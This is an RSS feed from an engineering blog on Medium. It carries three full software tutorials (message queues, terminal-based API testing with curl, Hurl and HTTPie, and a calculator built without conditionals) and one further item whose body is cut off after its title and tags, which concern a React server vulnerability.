<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[ProFUSION Engineering - Medium]]></title>
        <description><![CDATA[Solutions developed by people at ProFUSION Embedded Systems - Medium]]></description>
        <link>https://medium.com/profusion-engineering?source=rss----2a856e817105---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>ProFUSION Engineering - Medium</title>
            <link>https://medium.com/profusion-engineering?source=rss----2a856e817105---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 09 Jun 2026 03:14:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/profusion-engineering" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Procrastination as a Service: A Guide to Message Queues]]></title>
            <link>https://medium.com/profusion-engineering/procrastination-as-a-service-a-guide-to-message-queues-81b1209ef7c0?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/81b1209ef7c0</guid>
            <category><![CDATA[distributed-systems]]></category>
            <category><![CDATA[message-queue]]></category>
            <category><![CDATA[system-design-interview]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-architecture]]></category>
            <dc:creator><![CDATA[Hisrael Braga]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 15:07:08 GMT</pubDate>
            <atom:updated>2026-04-06T15:07:06.706Z</atom:updated>
            <content:encoded><![CDATA[<p>How to improve your system availability and response time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wfy62mSGiY6kVBQe4kmrvA.png" /></figure><p><strong>The “Everything-at-Once” Trap</strong></p><p>It’s Black Friday. You’ve finally found that one deal you’ve been waiting for. You hit the “Buy” button and… silence. A loading spinner mocks you. You click again. And again. Suddenly, a cold “504 Gateway Timeout” appears. Behind the scenes, a frantic dev team is watching their dashboard bleed red as the database chokes under the pressure. Thousands of orders are vanishing into the void, and every second of lag translates into thousands of dollars lost. The culprit? A backend trying to do too much, too fast.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQaeMgLUfdena9O7DM1JYQ.png" /><figcaption><em>The “Do it all now” approach.</em></figcaption></figure><p><strong>The Restaurant Dilemma</strong></p><p>Think of your backend as a busy restaurant.</p><p>In a Synchronous world, the waiter takes your order, walks to the kitchen, and stands there staring at the chef until the steak is done. He won’t talk to other customers, refill drinks, or take new orders until your plate is ready. If the steak takes 20 minutes, the entire restaurant grinds to a halt. One slow dish, and the business goes under.</p><p>In an Asynchronous world, the waiter takes your order, pins the ticket on a board (the Queue), and immediately moves to the next table. He’s “procrastinating” the delivery to maximize his efficiency. The chef cooks at their own pace, and once the food is ready, it’s served. The restaurant stays fluid, and the customers stay happy.</p><p><strong>The Procrastination Layer: How Queues Work<br></strong>Scaling a system isn’t about doing things faster; it’s about doing them smarter. If your backend is overwhelmed, the best approach is to decouple acceptance from execution.</p><p>By introducing a Message Queue, you create a buffer between the user and the expensive operations (like database writes or third-party API calls).</p><ol><li>The Producer: Your API receives the request, wraps it in a message, and sends it to the queue.</li><li>The Queue (The Broker): Acts as the “Procrastination Layer,” holding the work until the system is ready.</li><li>The Consumer: An isolated worker who lives for one purpose: pulling messages and processing them.</li></ol><p>This setup ensures that even if your traffic spikes 10x, your API remains responsive while the consumers catch up in the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5E6Qfbv2PFO3KRWXsAai7A.png" /><figcaption><em>Accept fast, process at your own pace.</em></figcaption></figure><p><strong>Benefits of Procrastinating the processing</strong></p><p>You might be thinking: “Why add more complexity to my system?” The answer lies in how modern backends survive real-world pressure. If you are hitting scalability walls or performance bottlenecks, here is why “doing it later” is your best move:</p><p><strong>1. User Experience</strong></p><p>When heavy processing is offloaded to queue consumers, your API responses become blazing fast. Instead of making a user stare at a loading spinner for 10 seconds while you wait for a request to complete on a third-party service, you return an immediate success: “We’ve got your request! Check your inbox in a few minutes.”.</p><p>The user gets a snappy interface, and your system processes the job at its own pace. Everybody wins.</p><p><strong>2. Scalability</strong></p><p>Queues are the backbone of high-traffic systems. They act as a buffer. During a traffic spike, your database doesn’t have to die; your queue just gets a bit longer. If the backlog grows too fast? No problem. You can horizontally scale your workers — adding more consumers to burn through the messages — without touching your main API logic.</p><p><strong>3. Resilience</strong></p><p>Third-party services (like Stripe, SendGrid, or Twilio) fail all the time. In a synchronous world, their failure is your failure. In a queued world, it’s just a delay.</p><p>If a service is down, the message stays in the queue (or moves to a <strong>Dead Letter Queue</strong>) to be retried later. You can even combine this with a <strong>Circuit Breaker</strong> pattern to stop hitting a failing service, preventing a total system collapse.</p><p><strong>Bonus: Dead-Letter Queues</strong></p><p>In the real world, procrastination sometimes leads to forgotten tasks. In a message queue, some tasks are simply <strong>impossible to finish</strong>.</p><p>Maybe a user provided a corrupted PDF, or a specific database record was deleted before the worker could update it. If your worker tries to process a “bad” message, it fails, returns the message to the queue, and tries again… forever. This is what we call a Poison Pill. It clogs your system and wastes CPU cycles on a task that will never succeed.</p><p>A Dead-Letter Queue (DLQ) is a specialized queue where “unprocessable” messages go to die or wait for a human to intervene.</p><ul><li>How it works: You set a Retry Policy (e.g., “try 3 times”). If the message fails after the 3rd attempt, the system “procrastinates” it indefinitely by moving it to the DLQ.</li><li>The Benefit: Your main queue stays clean and keeps flowing. You don’t lose the data; you just move it to a side-desk for investigation.</li><li>Pro-Tip: Always monitor your DLQ. A growing DLQ is a smoke signal that something is wrong with your business logic or a third-party integration.</li></ul><p>Imagine the waiter finally comes back with that steak, but the customer is gone. The table is empty. The waiter can’t stand there holding a hot plate forever; he’s got other tables to serve!</p><p>Instead of throwing the food away immediately or standing there blocking the kitchen entrance, he takes the plate to the Manager’s Desk. There, the manager can look at the receipt, figure out what went wrong, and decide if they should wait for the customer to come back or just discard the meal.</p><p><strong>Conclusion: Procrastinate Like a Pro</strong></p><p>Procrastination isn’t always a bad habit; sometimes, it’s exactly what saves your system from going down. By embracing asynchrony and message queues, you’re not just delaying work; you’re building a system that is elastic, resilient, and incredibly fast for the user.</p><p>System design is often about knowing what is urgent and what can wait.</p><p>So, next time your backend is overwhelmed, don’t try to do it all now. Put it in a queue, and do it later.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81b1209ef7c0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/procrastination-as-a-service-a-guide-to-message-queues-81b1209ef7c0">Procrastination as a Service: A Guide to Message Queues</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Drop the Mailman. Embrace the Terminal.]]></title>
            <link>https://medium.com/profusion-engineering/drop-the-mailman-embrace-the-terminal-7564c1ed644b?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/7564c1ed644b</guid>
            <category><![CDATA[api]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[creativity]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[collaboration]]></category>
            <dc:creator><![CDATA[Wilson Neto]]></dc:creator>
            <pubDate>Thu, 15 Jan 2026 18:46:05 GMT</pubDate>
            <atom:updated>2026-01-15T19:42:46.774Z</atom:updated>
            <content:encoded><![CDATA[<h4>Trust me, we don’t need Postman. In this article we will be exploring a multitude of solutions that could be used as a much better alternative to the industry standard API testing tool.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7Y_WE46QXK4ajIhD" /></figure><p>It is a truth universally acknowledged, that a programmer in possession of a good API, must be in want of a convenient means to test it. Yet, in this age of graphical interfaces and mouse-driven endeavors, one might find oneself yearning for the elegance of the command line.</p><p>Postman is the industry standard, but has several disadvantages:</p><ul><li>It is a bloated electron app.</li><li>You have to login.</li><li>It is paid. (Do you really wanna pay for a curl wrapper written in electron?).</li><li>You have to login.</li><li>You can share collections as a json, but it is not GIT friendly (have you tried putting one in a Git repo? Welcome to conflict hell).</li><li>And did I mention that you have to login? TO DO A SIMPLE HTTP REQUEST? Is this a joke? I understand that they have a skip button for the login, but the mere presence of a login screen for doing http requests is already a crime.</li></ul><p>Ok, I understand that some of you really like a GUI and don’t want to use the scary black window with text. In that case, just use <a href="https://github.com/usebruno/bruno">Bruno</a> please. The UI is the same as Postman but it is git friendly, open source, scriptable, and it doesn’t push you through a login screen.</p><p>But this article is not about Bruno, it is an opportunity for us to explore our creativity showcasing how someone can build a nice alternative to Postman.</p><p>And aside from creativity, there are several advantages of using terminal based tools for API testing:</p><ul><li>Simplicity: Everything is just text files, no need to deal with complex UI.</li><li>Automation Ready: These scripts can be integrated into CI/CD pipelines, ensuring that our APIs are always in tip-top shape.</li><li>Flexible: Since we are using the command line, we can mix as many technologies as we need. Wanna use curl or javascript, you can.</li><li>Ready for Realistic Scenarios: The flexibility allows us to simulate entire flows with authentication, and any other pre-work needed.</li><li>Lightweight: No need to have electron apps running in your computer consuming resources.</li><li>Customizable: Tailor your scripts to your specific needs.</li><li>Git Friendly: Easy to share and collaborate on your request scripts using version control systems. No need to ask for extra access to your coworkers.</li><li>Limitless: Since you are in the scripting area now, you can do anything that you can imagine, your imagination is the limit.</li><li>Vibe Coding Friendly: We are all vibe coders now, you can already use your current AI tools without needing to pay an extra for a &quot;premium AI feature&quot;.</li></ul><h3>Tools that we can use.</h3><p>This is a journey of discovery and exploration, not just a tutorial to be followed (but feel free to follow if you want), this is just to give you some ideas on how to build your own solution based on your own tastes. But to showcase the possibilities, here are the tools that I used to build this example:</p><ul><li>curl: The classic of the classics, pretty much every unix-based system has it pre-installed, more at <a href="https://curl.se/">https://curl.se</a></li><li>Bun: A very fast JavaScript runtime, it is fast and fast, have I mentioned it is fast? Get it at <a href="https://bun.sh/">https://bun.sh</a></li><li>Hurl: A command-line tool written in rust for HTTP requests, available at <a href="https://hurl.dev/">https://hurl.dev</a></li><li>HTTPie: A most amiable version of curl, dwelling at <a href="https://httpie.io/">https://httpie.io</a></li><li>fzf: It is just great to quickly find your files and extend for nice scripts. <a href="https://github.com/junegunn/fzf">https://github.com/junegunn/fzf</a></li></ul><p>To be honest, I would probably not mix that many tools in a real project, but we are here to have fun and explore.</p><h3>Building our Mock Cake API</h3><p>First, we need an API to test, let’s use Bun to build a simple mock server, but you can use anything that you like. Even a real API like the commonly used Pokemon API for tutorials. But I like cakes, so I’m building the Cake API, so we can manage our Cake Inventory. It will be some very simple bun endpoints that return static data.</p><h3>Login</h3><h4>Endpoint</h4><p>Since I complained so much about Postman requiring a login, let’s start building a login endpoint that returns a token. Let’s get very simple, just a simple endpoint that returns a hardcoded secret token.</p><pre>Bun.serve({<br>  port: 3000,<br>  fetch(req) {<br>    const url = new URL(req.url)<br><br>    // Login endpoint<br>    if (req.method === &#39;POST&#39; &amp;&amp; url.pathname === &#39;/api/login&#39;) {<br>      return Response.json({ token: &#39;very-secret-token&#39; })<br>    }<br><br>    return new Response(&#39;Not Found&#39;, { status: 404 })<br>  }<br>})</pre><p>Just run this server and we are ready for our requests.</p><h4>Request (with curl)</h4><p>Now for login, let’s start with the OG request client, the mighty curl, pretty much everybody has used or will use in their life. It is the bread and butter of HTTP requests.</p><p>Let’s create a simple script that does more than hit that endpoint, it uses jq to extract a token from that response and feed an Environment Variable for use in the next requests.</p><pre>#!/bin/bash<br># Login to get token<br>RESPONSE=$(curl -s -X POST http://localhost:3000/api/login)<br>echo &quot;Login response: $RESPONSE&quot;<br>TOKEN=$(echo $RESPONSE | jq -r &#39;.token&#39;)<br>export TOKEN<br>echo &quot;Token obtained: $TOKEN&quot;</pre><p>And since it is just a file, we can use the power of the directories to organize our requests, lets place it inside a cake-api/requests/login/run.sh</p><h3>Creation</h3><p>Now we need to feed out API with cakes, but not anybody can create cakes, so let’s make a protected endpoint that requires that token.</p><h4>Endpoint</h4><pre>    function validateUserAuth(req) {<br>      const auth = req.headers.get(&#39;authorization&#39;)<br>      if (!auth || !auth.startsWith(&#39;Bearer &#39;)) {<br>        return new Response(null, { status: 401 })<br>      }<br>      return null<br>    }<br><br>    // Protected create endpoint<br>    if (req.method === &#39;POST&#39; &amp;&amp; url.pathname === &#39;/api/cakes&#39;) {<br>      const authResponse = validateUserAuth(req)<br>      if (authResponse) return authResponse<br>      return req.json().then(body =&gt; {<br>        return Response.json({ id: 3, ...body }, { status: 201 })<br>      })<br>    }</pre><h4>Request (with Hurl)</h4><p>For this, we will have two files, one for the request itself and another bash script to run it. With this approach, we make our test suite flexible in a way that is possible to use any language or technology to test the requests.</p><pre>touch ./cake-api/requests/create/create.hurl</pre><p>Now we use our Hurl file, look at how clean and simple the syntax is:</p><pre>POST {{host}}/api/cakes<br>Authorization: Bearer {{token}}<br>Content-Type: application/json<br>{&quot;name&quot;: &quot;Strawberry Cake&quot;, &quot;price&quot;: 28.99}<br>HTTP 201<br>[Asserts]<br>jsonpath &quot;$.id&quot; exists<br>jsonpath &quot;$.name&quot; == &quot;Strawberry Cake&quot;<br>jsonpath &quot;$.price&quot; == 28.99</pre><p>And you see those Asserts? Those are validations that Hurl will do for us, so we can be sure that our API is returning what we expect. Nice and easy.</p><p>And for the bash script, we can use:</p><pre>#!/bin/bash<br># Create a new cake using hurl<br>cd &quot;$(dirname &quot;$0&quot;)&quot;<br>hurl --test \<br>  --variable token=$TOKEN \<br>  create.hurl</pre><h3>Reading</h3><p>Now that we created it, we shall be able to read our cake data. Let’s mock our reading endpoint here, just a standard response:</p><h4>Endpoint</h4><pre>    // Read endpoint<br>    if (req.method === &#39;GET&#39; &amp;&amp; url.pathname === &#39;/api/cakes&#39;) {<br>      const authResponse = validateUserAuth(req)<br>      if (authResponse) return authResponse<br>      return Response.json([<br>        { id: 1, name: &#39;Chocolate Cake&#39;, price: 25.99 },<br>        { id: 2, name: &#39;Vanilla Cake&#39;, price: 22.99 }<br>      ])<br>    }</pre><h4>Request (with HTTPie)</h4><p>Now actually performing the reading of the API we will use HTTPie, an extremely amiable http client, it is like curl but sweeter. Let’s use it to read our cakes.</p><pre>touch ./cake-api/requests/read/run.sh</pre><p>And just add this simple HTTPie command:</p><pre>http GET http://localhost:3000/api/cakes Authorization:&quot;Bearer $TOKEN&quot;</pre><p>This retrieves the list of cakes, fortified with authentication, as befits a protected display.</p><h3>Updating</h3><p>The only constant in life is change, so for that we also need an update endpoint:</p><h3>Endpoint</h3><pre>    // Update endpoint<br>    if (req.method === &#39;PUT&#39; &amp;&amp; url.pathname.startsWith(&#39;/api/cakes/&#39;)) {<br>      const authResponse = validateUserAuth(req)<br>      if (authResponse) return authResponse<br>      const id = url.pathname.split(&#39;/&#39;).pop()<br>      return req.json().then(body =&gt; {<br>        return Response.json({ id: Number(id), ...body })<br>      })<br>    }</pre><h3>Request (With the good old JavaScript)</h3><p>Sometimes, you may want to wield the full power of a programming language. Here, we employ Bun’s native fetch in a TypeScript script to amend a cake’s details. You can really use any language that you want here, python, ocaml, ruby, go, rust, etc.</p><pre>touch ./cake-api/requests/update/request.ts</pre><pre>const response = await fetch(&#39;http://localhost:3000/api/cakes/1&#39;, {<br>  method: &#39;PUT&#39;,<br>  headers: {<br>    &#39;Authorization&#39;: `Bearer ${process.env.TOKEN}`,<br>    &#39;Content-Type&#39;: &#39;application/json&#39;<br>  },<br>  body: JSON.stringify({ name: &#39;Updated Chocolate Cake&#39;, price: 26.99 })<br>})<br><br>if (response.ok) {<br>  const data = await response.json()<br>  console.log(&#39;Updated cake:&#39;, data)<br>} else {<br>  console.log(&#39;Error:&#39;, response.status)<br>}</pre><h3>Deletion</h3><p>You know what. I could show you another tool, another script written in something else, like C, Perl or Haskell. But I think you got the idea by now, and I encourage you to go ahead and write your own solution for the delete operation. Get creative!</p><h3>Dispatching Our Requests</h3><p>There is not much secret here, since we are just creating bash scripts, you could just use your terminal to run them with something like:</p><pre>./cake-api/requests/login/run.sh &amp;&amp; ./cake-api/requests/create/run.sh</pre><p>That way you would test the protected endpoint.</p><h3>The Interactive Selection (employing fzf)</h3><p>You know, you could be running any request with something like:</p><pre>./cake-api/requests/login/run.sh &amp;&amp; ./&lt;insert-your-script-here&gt;</pre><p>Nah, that is boring, and not the best Developer Experience. So let’s spice it up a bit…</p><p>Have you ever heard of fzf? NO? But you should. Fzf is like potatoes, it is one of those things that you can’t live without once you try it. It is flexible, it goes along with anything, and it is just great. I would highly suggest you get acquainted with it.</p><p>But for now, let’s use it to create a simple script that allows us to select which request to run interactively.</p><pre>touch ./cake-api/delivery.sh</pre><p>And use a simple script like this one:</p><pre>#!/bin/bash<br><br>run_scripts=($(find requests/ -name run.sh -type f))<br><br>selected=$(printf &#39;%s\n&#39; &quot;${run_scripts[@]}&quot; | fzf --prompt=&quot;Select run.sh: &quot; --height=10 --border)<br><br>if [ -n &quot;$selected&quot; ]; then<br>    echo &quot;Running login to get token...&quot;<br>    source requests/login/run.sh<br>    echo &quot;Running $selected...&quot;<br>    ./$selected<br>else<br>    echo &quot;No script selected.&quot;<br>fi</pre><p>It will allow you to run any request script interactively, while taking care of the login for you. That’s so cool, you can select both with your keyboard or by typing the name of the request that you want with fuzzy search. And BAM, it is there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*rNNuHlZmn-1Zk1XKnkh6IQ.gif" /><figcaption>Our interactive FZF script.</figcaption></figure><p>See? We even get an interactive interface with this small script, pretty awesome.</p><h3>A boring conclusion.</h3><p>What a journey. Hope you had as much fun reading this article as I had writing it. You see, there are plenty of tools out there to test your API, and when you get creative, the sky is the limit. The advantages are endless, you can add to your CI, it is lightweight, git friendly, LLM friendly, flexible, fun, reusable and so much more. So, next time you think about using Postman, just remember: you have the power of the terminal at your fingertips. Embrace it, and let your creativity fly!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7564c1ed644b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/drop-the-mailman-embrace-the-terminal-7564c1ed644b">Drop the Mailman. Embrace the Terminal.</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The “No-If” Challenge: Building a Calculator Without a Single Conditional Statement]]></title>
            <link>https://medium.com/profusion-engineering/the-no-if-challenge-building-a-calculator-without-a-single-conditional-statement-cbdf9ab4b41e?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/cbdf9ab4b41e</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[conditional-statements]]></category>
            <category><![CDATA[maps]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[abstraction]]></category>
            <dc:creator><![CDATA[Ana Júlia Gonçalves Alvarenga]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 12:55:45 GMT</pubDate>
            <atom:updated>2026-01-09T12:55:44.490Z</atom:updated>
            <content:encoded><![CDATA[<p>As developers, if, else, and switch are our bread and butter. They are the control flow structures that define logic. But what happens when you take them away?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*E9ZjSc6VxOE4W2UktdXCMQ.png" /></figure><p>Recently, I took on a constraint-based challenge: <strong>Build a project without using a single if statement, else block, switch case, or ternary operator (? :).</strong></p><p>It sounds annoying, but it turns out to be a good class in <strong>Polymorphism</strong>.</p><p>Here is how I went through the “No-If” challenge.</p><h3>The Philosophy: Boolean Logic is Just a Key</h3><p>Normally, we think of logic as branching paths:</p><p><em>If X is true, go left. Else, go right.</em></p><p>In a predicate-free world, we have to change our mental model to:</p><p><em>There is a map of all possible destinations. X is just the key to the address we want.</em></p><p>We replace <strong>Control Flow</strong> with <strong>Data Lookup</strong>.</p><h3>1. Replacing switch with the Strategy Pattern</h3><p>The most obvious candidate for replacement was the math logic. Usually, a calculator has a big switch statement for operations.</p><p><strong>The Old Way:</strong></p><pre>switch(operation) {<br>  case &#39;+&#39;: return a + b;<br>  case &#39;-&#39;: return a - b;<br>  // ...<br>}</pre><p><strong>The No-If Way:</strong></p><p>We define an object (a dictionary) where the keys are the operator symbols, and the values are the functions themselves.</p><pre>type OperationFn = (a: number, b: number) =&gt; number;<br><br>const Operations: Record&lt;string, OperationFn&gt; = {<br>  &#39;+&#39;: (a, b) =&gt; a + b,<br>  &#39;-&#39;: (a, b) =&gt; a - b,<br>  &#39;×&#39;: (a, b) =&gt; a * b,<br>  &#39;÷&#39;: (a, b) =&gt; a / b, // Infinity handles div by zero naturally<br>  &#39;&#39;: (_a, b) =&gt; b,     // Default: just return the new number<br>};</pre><p>Now, execution is just a lookup: Operations[op](a, b). No decision making, just fetching.</p><h3>2. Replacing if/else with Boolean String Lookups</h3><p>This was the trickiest part. How do you handle something like this without an if?</p><pre>// Traditional logic<br>if (currentValue === &#39;0&#39;) {<br>  replaceValue(input);<br>} else {<br>  appendValue(input);<br>}</pre><p>My solution was to convert the boolean condition into a string key (‘true’ or ‘false’) and use that key to look up the next step in a configuration object.</p><p><strong>The No-If Way:</strong></p><pre>// Define strategies for appending numbers<br>const AppendStrategies: Record&lt;string, (curr: string, input: string) =&gt; string&gt; = {<br>  &#39;0&#39;: (_curr, input) =&gt; input,       // Replace &#39;0&#39;<br>  &#39;default&#39;: (curr, input) =&gt; curr + input, // Append otherwise<br>};<br><br>const handleNumber = (state: CalcState, value: string): CalcState =&gt; {<br>  // 1. Convert condition to a string key<br>  const isZero = String(state.current === &#39;0&#39;); <br>  <br>  // 2. Map &#39;true&#39;/&#39;false&#39; to specific strategy keys<br>  const keyMap: Record&lt;string, string&gt; = { &#39;true&#39;: &#39;0&#39;, &#39;false&#39;: &#39;default&#39; };<br>  const strategyKey = keyMap[isZero];<br><br>  // 3. Execute<br>  const strategy = AppendStrategies[state.current] || AppendStrategies[strategyKey];<br>  <br>  return { ...state, current: strategy(state.current, value) };<br>};</pre><h3>3. Handling “Null” with Short-Circuiting</h3><p>The only operator allowed that resembles logic is the logical OR (||). In this project, it acts as the <strong>Null Object Pattern</strong>.</p><p>If a lookup fails (returns undefined), || provides the fallback strategy immediately.</p><pre>// If the user clicks a special key like &#39;sin&#39; that we haven&#39;t defined, <br>// fallback to a dummy function (s) =&gt; s that does nothing.<br>const onSpecialClick = (action: string) =&gt; <br>  setState(prev =&gt; (SpecialActions[action] || ((s) =&gt; s))(prev));</pre><h3>The Result: Fully Declarative Code</h3><p>The resulting code is interesting, since it reads less like a set of instructions and more like a set of <strong>definitions</strong>.</p><p>Here is the complete code for the calculator.</p><pre>import React, { useState } from &#39;react&#39;;<br>import { Moon, Sun, Delete, Calculator, History } from &#39;lucide-react&#39;;<br><br>// --- TYPES ---<br>type CalcState = {<br>  current: string;<br>  previous: string;<br>  operation: string;<br>  history: string[];<br>  theme: &#39;light&#39; | &#39;dark&#39;;<br>};<br><br>type OperationFn = (a: number, b: number) =&gt; number;<br><br>// --- STRATEGIES ---<br>const Operations: Record&lt;string, OperationFn&gt; = {<br>  &#39;+&#39;: (a, b) =&gt; a + b,<br>  &#39;-&#39;: (a, b) =&gt; a - b,<br>  &#39;×&#39;: (a, b) =&gt; a * b,<br>  &#39;÷&#39;: (a, b) =&gt; a / b,<br>  &#39;&#39;: (_a, b) =&gt; b,<br>};<br><br>const AppendStrategies: Record&lt;string, (curr: string, input: string) =&gt; string&gt; = {<br>  &#39;0&#39;: (_curr, input) =&gt; input,<br>  &#39;default&#39;: (curr, input) =&gt; curr + input,<br>  &#39;Error&#39;: (_curr, _input) =&gt; &#39;Error&#39;,<br>  &#39;Infinity&#39;: (_curr, _input) =&gt; &#39;Infinity&#39;,<br>};<br><br>const DecimalStrategies: Record&lt;string, (curr: string) =&gt; string&gt; = {<br>  &#39;true&#39;: (curr) =&gt; curr,<br>  &#39;false&#39;: (curr) =&gt; curr + &#39;.&#39;,<br>};<br><br>// --- CORE LOGIC ---<br>const calculateResult = (prev: string, curr: string, op: string): string =&gt; {<br>  const a = parseFloat(prev);<br>  const b = parseFloat(curr);<br>  const strategy = Operations[op] || Operations[&#39;&#39;];<br>  const result = strategy(a, b);<br>  return String(Math.round(result * 100000000) / 100000000);<br>};<br><br>// --- ACTION HANDLERS ---<br>const handleNumber = (state: CalcState, value: string): CalcState =&gt; {<br>  const isZero = String(state.current === &#39;0&#39;);<br>  const keyMap: Record&lt;string, string&gt; = { &#39;true&#39;: &#39;0&#39;, &#39;false&#39;: &#39;default&#39; };<br>  const strategyKey = keyMap[isZero];<br>  const strategy = AppendStrategies[state.current] || AppendStrategies[strategyKey];<br>  <br>  return { ...state, current: strategy(state.current, value) };<br>};<br><br>const handleDecimal = (state: CalcState): CalcState =&gt; {<br>  const hasDot = String(state.current.includes(&#39;.&#39;));<br>  const strategy = DecimalStrategies[hasDot];<br>  return { ...state, current: strategy(state.current) };<br>};<br><br>const handleOperator = (state: CalcState, value: string): CalcState =&gt; {<br>  const shouldCalculate = String(state.previous !== &#39;&#39; &amp;&amp; state.operation !== &#39;&#39;);<br>  <br>  const nextPrevLookup: Record&lt;string, string&gt; = {<br>    &#39;true&#39;: calculateResult(state.previous, state.current, state.operation),<br>    &#39;false&#39;: state.current<br>  };<br><br>  return {<br>    ...state,<br>    previous: nextPrevLookup[shouldCalculate],<br>    current: &#39;0&#39;,<br>    operation: value<br>  };<br>};<br><br>const handleEquals = (state: CalcState): CalcState =&gt; {<br>  const result = calculateResult(state.previous, state.current, state.operation);<br>  return {<br>    ...state,<br>    current: result,<br>    previous: &#39;&#39;,<br>    operation: &#39;&#39;,<br>    history: [`${state.previous} ${state.operation} ${state.current} = ${result}`, ...state.history].slice(0, 5)<br>  };<br>};<br><br>// --- COMPONENT ---<br>export default function PredicateFreeCalculator() {<br>  const [state, setState] = useState&lt;CalcState&gt;({<br>    current: &#39;0&#39;, previous: &#39;&#39;, operation: &#39;&#39;, history: [], theme: &#39;dark&#39;<br>  });<br><br>  const ThemeToggle = { &#39;light&#39;: &#39;dark&#39;, &#39;dark&#39;: &#39;light&#39; } as const;<br>  <br>  const containerClasses = {<br>    &#39;light&#39;: &#39;bg-gray-100 text-gray-900&#39;,<br>    &#39;dark&#39;: &#39;bg-slate-900 text-white&#39;<br>  };<br><br>  return (<br>    &lt;div className={`min-h-screen w-full flex items-center justify-center ${containerClasses[state.theme]}`}&gt;<br>      &lt;div className=&quot;w-full max-w-sm p-6&quot;&gt;<br>        {/* UI Implementation... */}<br>        &lt;div className=&quot;text-5xl font-bold text-right mb-6&quot;&gt;{state.current}&lt;/div&gt;<br>        <br>        &lt;div className=&quot;grid grid-cols-4 gap-3&quot;&gt;<br>          &lt;button onClick={() =&gt; setState(handleNumber(state, &#39;7&#39;))}&gt;7&lt;/button&gt;<br>          &lt;button onClick={() =&gt; setState(handleNumber(state, &#39;8&#39;))}&gt;8&lt;/button&gt;<br>          &lt;button onClick={() =&gt; setState(handleNumber(state, &#39;9&#39;))}&gt;9&lt;/button&gt;<br>          &lt;button onClick={() =&gt; setState(handleOperator(state, &#39;×&#39;))}&gt;×&lt;/button&gt;<br>          {/* ... Rest of Keypad ... */}<br>        &lt;/div&gt;<br>      &lt;/div&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><h3>Conclusion</h3><p>Is this the most efficient way to write a calculator? Probably not. It creates a lot of small objects and strings.</p><p>However, it is an excellent exercise in <strong>abstraction</strong>. By forcing yourself to remove control structures, you are forced to rely on data structures. You stop writing “procedures” and start writing “maps.”</p><p>Next time you find yourself writing a nested if/else block, ask yourself: <em>Could this just be a map?</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbdf9ab4b41e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/the-no-if-challenge-building-a-calculator-without-a-single-conditional-statement-cbdf9ab4b41e">The “No-If” Challenge: Building a Calculator Without a Single Conditional Statement</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React2Shell: Critical Vulnerability in React Server explained with technical details of code]]></title>
            <link>https://medium.com/profusion-engineering/react2shell-critical-vulnerability-in-react-server-explained-with-technical-details-of-code-b75a84e76a1c?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/b75a84e76a1c</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[reactjs]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[react]]></category>
            <dc:creator><![CDATA[Gustavo Barbieri]]></dc:creator>
            <pubDate>Wed, 10 Dec 2025 12:59:20 GMT</pubDate>
            <atom:updated>2025-12-10T14:10:10.944Z</atom:updated>
